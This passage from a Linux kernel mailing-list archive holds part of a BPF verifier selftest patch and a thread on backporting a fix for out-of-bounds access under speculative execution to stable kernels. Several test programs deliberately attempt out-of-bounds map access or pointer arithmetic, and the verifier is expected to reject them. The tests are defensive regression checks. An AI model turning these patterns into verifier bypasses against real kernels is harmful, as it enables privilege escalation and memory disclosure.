(BPF_REG_0 ,2 ), + BPF_JMP_IMM(BPF_JA, 0, 0, -3), }, .fixup_map_array_48b = { 3 }, .result = ACCEPT,
@@ -6770,6 +7460,8 @@ static struct bpf_test tests[] = { }, .fixup_map_array_48b = { 3 }, .result = ACCEPT, + .result_unpriv = REJECT, + .errstr_unpriv = "R0 pointer arithmetic of map value goes out of range", .retval = 1, }, {
@@ -6837,6 +7529,8 @@ static struct bpf_test tests[] = { }, .fixup_map_array_48b = { 3 }, .result = ACCEPT, + .result_unpriv = REJECT, + .errstr_unpriv = "R0 pointer arithmetic of map value goes out of range", .retval = 1, }, {
@@ -8376,6 +9070,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "unbounded min value", + .errstr_unpriv = "R1 has unknown scalar with mixed signed bounds", .result = REJECT, }, {
@@ -8400,6 +9095,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "unbounded min value", + .errstr_unpriv = "R1 has unknown scalar with mixed signed bounds", .result = REJECT, }, {
@@ -8426,6 +9122,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "unbounded min value", + .errstr_unpriv = "R8 has unknown scalar with mixed signed bounds", .result = REJECT, }, {
@@ -8451,6 +9148,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "unbounded min value", + .errstr_unpriv = "R8 has unknown scalar with mixed signed bounds", .result = REJECT, }, {
@@ -8499,6 +9197,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "unbounded min value", + .errstr_unpriv = "R1 has unknown scalar with mixed signed bounds", .result = REJECT, }, {
@@ -8570,6 +9269,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "unbounded min value", + .errstr_unpriv = "R1 has unknown scalar with mixed signed bounds", .result = REJECT, }, {
@@ -8621,6 +9321,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "unbounded min value", + .errstr_unpriv = "R1 has unknown scalar with mixed signed bounds", .result = REJECT, }, {
@@ -8648,6 +9349,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "unbounded min value", + .errstr_unpriv = "R1 has unknown scalar with mixed signed bounds", .result = REJECT, }, {
@@ -8674,6 +9376,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "unbounded min value", + .errstr_unpriv = "R1 has unknown scalar with mixed signed bounds", .result = REJECT, }, {
@@ -8703,6 +9406,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "unbounded min value", + .errstr_unpriv = "R7 has unknown scalar with mixed signed bounds", .result = REJECT, }, {
@@ -8733,6 +9437,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 4 }, .errstr = "unbounded min value", + .errstr_unpriv = "R1 has unknown scalar with mixed signed bounds", .result = REJECT, }, {
@@ -8761,6 +9466,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "unbounded min value", + .errstr_unpriv = "R1 has unknown scalar with mixed signed bounds", .result = REJECT, .result_unpriv = REJECT, },
@@ -8813,9 +9519,39 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "R0 min value is negative, either use unsigned index or do a if (index >=0) check.", + .errstr_unpriv = "R1 has unknown scalar with mixed signed bounds", .result =REJECT , }, { +"check subtraction on pointers for unpriv" , + .insns = { +BPF_MOV64_IMM (BPF_REG_0 ,0 ), +BPF_LD_MAP_FD (BPF_REG_ARG1 ,0 ), +BPF_MOV64_REG (BPF_REG_ARG2 ,BPF_REG_FP ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_ARG2 ,-8 ), +BPF_ST_MEM (BPF_DW ,BPF_REG_ARG2 ,0 ,9 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_MOV64_REG (BPF_REG_9 ,BPF_REG_FP ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_9 ,BPF_REG_0 ), +BPF_LD_MAP_FD (BPF_REG_ARG1 ,0 ), +BPF_MOV64_REG (BPF_REG_ARG2 ,BPF_REG_FP ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_ARG2 ,-8 ), +BPF_ST_MEM (BPF_DW ,BPF_REG_ARG2 ,0 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JNE ,BPF_REG_0 ,0 ,1 ), +BPF_EXIT_INSN (), +BPF_STX_MEM (BPF_DW ,BPF_REG_0 ,BPF_REG_9 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,0 ), + BPF_EXIT_INSN(), + }, + .fixup_map_hash_8b = { 1, 9 }, + .result = ACCEPT, + .result_unpriv = REJECT, + .errstr_unpriv = "R9 pointer -= pointer prohibited", + }, + {"bounds check based on zero-extended MOV" , .insns = { BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
@@ -9146,6 +9882,36 @@ static struct bpf_test tests[] = { .result = REJECT }, { + "bounds check after 32-bit right shift with 64-bit input", + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,6 ), +/* r1 = 2 */ +BPF_MOV64_IMM (BPF_REG_1 ,2 ), +/* r1 = 1<<32 */ +BPF_ALU64_IMM (BPF_LSH ,BPF_REG_1 ,31 ), +/* r1 = 0 (NOT 2!) */ +BPF_ALU32_IMM (BPF_RSH ,BPF_REG_1 ,31 ), +/* r1 = 0xffff'fffe (NOT 0!) */ +BPF_ALU32_IMM (BPF_SUB ,BPF_REG_1 ,2 ), +/* computes OOB pointer */ +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +/* OOB access */ +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_0 ,0 ), +/* exit */ +BPF_MOV64_IMM (BPF_REG_0 ,0 ), + BPF_EXIT_INSN(), + }, + .fixup_map_hash_8b = { 3 }, + .errstr = "R0 invalid mem access", + .result = REJECT, + }, + {"bounds check map access with off+size signed 32bit overflow. test1" , .insns = { BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
@@ -9185,6 +9951,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "pointer offset 1073741822", + .errstr_unpriv = "R0 pointer arithmetic of map value goes out of range", .result =REJECT }, {
@@ -9206,6 +9973,7 @@ static struct bpf_test tests[] = { }, .fixup_map_hash_8b = { 3 }, .errstr = "pointer offset -1073741822", + .errstr_unpriv = "R0 pointer arithmetic of map value goes out of range", .result =REJECT }, {
@@ -9377,6 +10145,7 @@ static struct bpf_test tests[] = {BPF_EXIT_INSN () }, .errstr = "fp pointer offset 1073741822", + .errstr_unpriv = "R1 stack pointer arithmetic goes out of range", .result =REJECT }, {
@@ -13719,6 +14488,328 @@ static struct bpf_test tests[] = { .insn_processed = 15, }, { + "masking, test out of bounds 1", + .insns = { +BPF_MOV32_IMM (BPF_REG_1 ,5 ), +BPF_MOV32_IMM (BPF_REG_2 ,5 -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test out of bounds 2" , + .insns = { +BPF_MOV32_IMM (BPF_REG_1 ,1 ), +BPF_MOV32_IMM (BPF_REG_2 ,1 -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test out of bounds 3" , + .insns = { +BPF_MOV32_IMM (BPF_REG_1 ,0xffffffff ), +BPF_MOV32_IMM (BPF_REG_2 ,0xffffffff -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test out of bounds 4" , + .insns = { +BPF_MOV32_IMM (BPF_REG_1 ,0xffffffff ), +BPF_MOV32_IMM (BPF_REG_2 ,1 -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test out of bounds 5" , + .insns = { +BPF_MOV32_IMM (BPF_REG_1 ,-1 ), +BPF_MOV32_IMM (BPF_REG_2 ,1 -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test out of bounds 6" , + .insns = { +BPF_MOV32_IMM (BPF_REG_1 ,-1 ), +BPF_MOV32_IMM (BPF_REG_2 ,0xffffffff -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test out of bounds 7" , + .insns = { +BPF_MOV64_IMM (BPF_REG_1 ,5 ), +BPF_MOV32_IMM (BPF_REG_2 ,5 -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test out of bounds 8" , + .insns = { +BPF_MOV64_IMM (BPF_REG_1 ,1 ), +BPF_MOV32_IMM (BPF_REG_2 ,1 -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test out of bounds 9" , + .insns = { +BPF_MOV64_IMM (BPF_REG_1 ,0xffffffff ), +BPF_MOV32_IMM (BPF_REG_2 ,0xffffffff -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test out of bounds 10" , + .insns = { +BPF_MOV64_IMM (BPF_REG_1 ,0xffffffff ), +BPF_MOV32_IMM (BPF_REG_2 ,1 -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test out of bounds 11" , + .insns = { +BPF_MOV64_IMM (BPF_REG_1 ,-1 ), +BPF_MOV32_IMM (BPF_REG_2 ,1 -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test out of bounds 12" , + .insns = { +BPF_MOV64_IMM (BPF_REG_1 ,-1 ), +BPF_MOV32_IMM (BPF_REG_2 ,0xffffffff -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test in bounds 1" , + .insns = { +BPF_MOV32_IMM (BPF_REG_1 ,4 ), +BPF_MOV32_IMM (BPF_REG_2 ,5 -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 4, + }, + { +"masking, test in bounds 2" , + .insns = { +BPF_MOV32_IMM (BPF_REG_1 ,0 ), +BPF_MOV32_IMM (BPF_REG_2 ,0xffffffff -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test in bounds 3" , + .insns = { +BPF_MOV32_IMM (BPF_REG_1 ,0xfffffffe ), +BPF_MOV32_IMM (BPF_REG_2 ,0xffffffff -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0xfffffffe, + }, + { +"masking, test in bounds 4" , + .insns = { +BPF_MOV32_IMM (BPF_REG_1 ,0xabcde ), +BPF_MOV32_IMM (BPF_REG_2 ,0xabcdef -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0xabcde, + }, + { +"masking, test in bounds 5" , + .insns = { +BPF_MOV32_IMM (BPF_REG_1 ,0 ), +BPF_MOV32_IMM (BPF_REG_2 ,1 -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + { +"masking, test in bounds 6" , + .insns = { +BPF_MOV32_IMM (BPF_REG_1 ,46 ), +BPF_MOV32_IMM (BPF_REG_2 ,47 -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_1 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_1 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_1 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 46, + }, + { +"masking, test in bounds 7" , + .insns = { +BPF_MOV64_IMM (BPF_REG_3 ,-46 ), +BPF_ALU64_IMM (BPF_MUL ,BPF_REG_3 ,-1 ), +BPF_MOV32_IMM (BPF_REG_2 ,47 -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_3 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_3 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_3 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_3 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 46, + }, + { +"masking, test in bounds 8" , + .insns = { +BPF_MOV64_IMM (BPF_REG_3 ,-47 ), +BPF_ALU64_IMM (BPF_MUL ,BPF_REG_3 ,-1 ), +BPF_MOV32_IMM (BPF_REG_2 ,47 -1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_2 ,BPF_REG_3 ), +BPF_ALU64_REG (BPF_OR ,BPF_REG_2 ,BPF_REG_3 ), +BPF_ALU64_IMM (BPF_NEG ,BPF_REG_2 ,0 ), +BPF_ALU64_IMM (BPF_ARSH ,BPF_REG_2 ,63 ), +BPF_ALU64_REG (BPF_AND ,BPF_REG_3 ,BPF_REG_2 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_3 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 0, + }, + {"reference tracking in call: free reference in subprog and outside" , .insns = { BPF_SK_LOOKUP,
@@ -14413,6 +15504,16 @@ static int create_map(uint32_t type, uint32_t size_key,return fd; } +static void update_map (int fd,int index) +{ +struct test_val value = { + .index = (6 +1 ) *sizeof (int ), + .foo[6 ] =0xabcdef12 , + }; + +assert (!bpf_map_update_elem (fd, &index, &value,0 )); +} +static int create_prog_dummy1 (enum bpf_prog_type prog_type) {struct bpf_insn prog[] = {
@@ -14564,6 +15665,7 @@ static void do_test_fixup(struct bpf_test *test, enum bpf_prog_type prog_type,if (*fixup_map_array_48b) { map_fds[3 ] =create_map (BPF_MAP_TYPE_ARRAY ,sizeof (int ),sizeof (struct test_val ),1 ); +update_map (map_fds[3 ],0 ); do { prog[*fixup_map_array_48b].imm = map_fds[3]; fixup_map_array_48b++;
Signature · 1 line
2.9.5
Alexei Starovoitov
AppliedQuoted 6 lines · Daniel Borkmann
This set fixes an out of bounds case under speculative execution by implementing masking of pointer alu into the verifier. For details please see the individual patches.
Thanks!
Quoted 7 lines
v2 -> v3:
- 8/9: changestates_equalcondition intoold->speculative&&!cur->speculative, thanks Jakub!- 8/9: remove incorrect speculative state test in
propagate_liveness(), thanks Jakub!
v1 -> v2:
- Typo fixes in commit msg and a comment, thanks David!
Applied, Thanks
stable backport for the BPF speculation series? [was: Re: [PATCH bpf v3 0/9] bpf fix to prevent oob under speculation]
Quoted 15 lines · Alexei Starovoitov
Quoted 6 lines · Daniel Borkmann
This set fixes an out of bounds case under speculative execution by implementing masking of pointer alu into the verifier. For details please see the individual patches.
Thanks!
Quoted 7 lines
v2 -> v3:
- 8/9: changestates_equalcondition intoold->speculative&&!cur->speculative, thanks Jakub!- 8/9: remove incorrect speculative state test in
propagate_liveness(), thanks Jakub!
v1 -> v2:
- Typo fixes in commit msg and a comment, thanks David!
Quoted 1 line
Applied, Thanks
This series and the followup fix ("bpf: fix sanitation of alu op with pointer / scalar type from different paths") have been in Linus' tree for six days, but from what I can tell, they aren't queued up for stable yet.
@davem: Are you going to send this through stable, or is this only going to be in 5.0?
David Miller
maintainerRe: stable backport for the BPF speculation series?
From: Jann Horn <[email protected]>
Date: Tue, 22 Jan 2019 15:36:54 +0100
Quoted 19 lines
Quoted 15 lines · Alexei Starovoitov
Quoted 6 lines · Daniel Borkmann
This set fixes an out of bounds case under speculative execution by implementing masking of pointer alu into the verifier. For details please see the individual patches.
Thanks!
Quoted 7 lines
v2 -> v3:
- 8/9: changestates_equalcondition intoold->speculative&&!cur->speculative, thanks Jakub!- 8/9: remove incorrect speculative state test in
propagate_liveness(), thanks Jakub!
v1 -> v2:
- Typo fixes in commit msg and a comment, thanks David!Quoted 1 line
Applied, Thanks
Quoted 7 lines
This series and the followup fix ("bpf: fix sanitation of alu op with pointer / scalar type from different paths") have been in Linus' tree for six days, but from what I can tell, they aren't queued up for stable yet.
@davem: Are you going to send this through stable, or is this only going to be in 5.0?
The BPF developers handle their -stable submissions.
Daniel Borkmann
maintainerRe: stable backport for the BPF speculation series?
Quoted 27 lines · David Miller
From: Jann Horn <[email protected]>
Date: Tue, 22 Jan 2019 15:36:54 +0100Quoted 24 lines
Quoted 15 lines · Alexei Starovoitov
Quoted 6 lines · Daniel Borkmann
This set fixes an out of bounds case under speculative execution by implementing masking of pointer alu into the verifier. For details please see the individual patches.
Thanks!
Quoted 7 lines
v2 -> v3:
- 8/9: changestates_equalcondition intoold->speculative&&!cur->speculative, thanks Jakub!- 8/9: remove incorrect speculative state test in
propagate_liveness(), thanks Jakub!
v1 -> v2:
- Typo fixes in commit msg and a comment, thanks David!Quoted 1 line
Applied, Thanks
This series and the followup fix ("bpf: fix sanitation of alu op with pointer / scalar type from different paths") have been in Linus' tree for six days, but from what I can tell, they aren't queued up for stable yet.
Quoted 4 lines
Quoted 2 lines
@davem: Are you going to send this through stable, or is this only going to be in 5.0?
The BPF developers handle their -stable submissions.
Will get this to stable towards end of week. We wanted to let this sit for a while in Linus' tree given the complexity of the fix to get some more coverage. We also need 9d5564ddcf2a ("bpf: fix inner map masking to prevent oob under speculation") in addition.
Thanks,
Daniel
Re: stable backport for the BPF speculation series? [was: Re: [PATCH bpf v3 0/9] bpf fix to prevent oob under speculation]
In reply to Jann HornQuoted 17 lines · Jann Horn
Quoted 15 lines · Alexei Starovoitov
Quoted 13 lines · Daniel Borkmann
This set fixes an out of bounds case under speculative execution by implementing masking of pointer alu into the verifier. For details please see the individual patches.
Thanks!
v2 -> v3:
- 8/9: changestates_equalcondition intoold->speculative&&!cur->speculative, thanks Jakub!- 8/9: remove incorrect speculative state test in
propagate_liveness(), thanks Jakub!
v1 -> v2:
- Typo fixes in commit msg and a comment, thanks David!
Quoted 6 lines
Quoted 1 line
Applied, Thanks
This series and the followup fix ("bpf: fix sanitation of alu op with pointer / scalar type from different paths") have been in Linus' tree for six days, but from what I can tell, they aren't queued up for stable yet.
What are the git commit ids of the patches you think should be backported?
thanks,
greg k-h
Re: stable backport for the BPF speculation series? [was: Re: [PATCH bpf v3 0/9] bpf fix to prevent oob under speculation]
Quoted 20 lines · Greg Kroah-Hartman
Quoted 19 lines · Jann Horn
Quoted 16 lines · Alexei Starovoitov
Quoted 6 lines · Daniel Borkmann
This set fixes an out of bounds case under speculative execution by implementing masking of pointer alu into the verifier. For details please see the individual patches.
Thanks!
Quoted 7 lines
v2 -> v3:
- 8/9: changestates_equalcondition intoold->speculative&&!cur->speculative, thanks Jakub!- 8/9: remove incorrect speculative state test in
propagate_liveness(), thanks Jakub!
v1 -> v2:
- Typo fixes in commit msg and a comment, thanks David!Applied, Thanks
Quoted 7 lines
Quoted 4 lines
This series and the followup fix ("bpf: fix sanitation of alu op with pointer / scalar type from different paths") have been in Linus' tree for six days, but from what I can tell, they aren't queued up for stable yet.
What are the git commit ids of the patches you think should be backported?
Daniel Borkmann said at
https://marc.info/?l=linux-netdev&m=154820859831443&w=2 :
| Will get this to stable towards end of week. We wanted to let this sit
| for a while in Linus' tree given the complexity of the fix to get some
| more coverage. We also need 9d5564ddcf2a ("bpf: fix inner map masking
|to prevent oob under speculation") in addition., so I expect that he's going to submit a request for stable inclusion in the next few days. The git commits are:
c08435ec7f2bc8f4109401f696fd55159b4b40cb144cd91c4c2bced6eb8a7e25e590f6618a11e8549b73bfdd08e73231d6a90ae6db4b46b3fbf56c300d6303db7970e6f56ae700fa07e11eb510cda125e4298d25830a866cc0f427d4bccb858e767158599d7eceede769f90b66cfa06ad5b357140d5141edb7137c4eab85c1cf3d46acdde90ce1163b28c873979d63d50c0c0f7bc537bf821e056cc9fe5abd38d3bd7413e0ca40b60cf60d4003246d067cafdeda9d5564ddcf2a0f5ba3fa1c3a1f8a1b59ad309553
Daniel Borkmann
maintainerRe: stable backport for the BPF speculation series? [was: Re: [PATCH bpf v3 0/9] bpf fix to prevent oob under speculation]
Quoted 33 lines · Jann Horn
Quoted 20 lines · Greg Kroah-Hartman
Quoted 19 lines · Jann Horn
Quoted 16 lines · Alexei Starovoitov
Quoted 6 lines · Daniel Borkmann
This set fixes an out of bounds case under speculative execution by implementing masking of pointer alu into the verifier. For details please see the individual patches.
Thanks!
Quoted 7 lines
v2 -> v3:
- 8/9: changestates_equalcondition intoold->speculative&&!cur->speculative, thanks Jakub!- 8/9: remove incorrect speculative state test in
propagate_liveness(), thanks Jakub!
v1 -> v2:
